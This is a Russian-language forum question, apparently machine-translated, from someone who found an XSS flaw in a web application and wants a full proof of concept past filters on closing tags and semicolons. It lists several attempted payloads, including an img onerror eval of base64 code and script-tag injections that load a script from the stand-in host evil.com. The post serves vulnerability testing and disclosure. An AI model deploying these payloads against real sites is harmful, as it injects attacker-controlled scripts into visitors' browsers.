Я обнаружил, что веб-приложение уязвимо для XSS и может запустить некоторый javascript с использованием тега img
, однако метод, который я использую, уничтожает остальную часть страницы, так как они используют некоторые фильтры для попыткиостановите его.
Фильтры, которые я обнаружил до сих пор, следующие:
</anythingyouwant>
заменяется ничем />
заменяется ничем ;
заменяется пробелом до следующего предела >
- 135 символов, включая способ доставки, например
<img src="." onerror="alert('xss')">
Внедрение <img src="." onerror="alert('xss')">
работхорошо, однако эти разработчики настроены довольно скептически и хотят видеть полный PoC полного кода javascript.Можно ли вообще запустить произвольный скрипт?
Я пробовал:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
результат: слишком длинный, даже с укороченным URL <script src="//evil.com/myscript" />
результат: не может закрывать теги скрипта подобным образом, и он фильтруется, а веб-приложение уничтожает остальную часть страницы, пропуская закрывающий тег <script src=//evil.com/myscript"></script>
результат: фильтруется, уничтожает остальныестраницы, как указано выше <img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
результат: точки с запятой фильтруются, разрывает веб-страницу <img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
результат: я не уверен, что это допустимый js, но он появляется в chrome view page source
как задумано, но не работает, как хотелось
Я использую хром для тестирования, на случай, если это как-то уместно.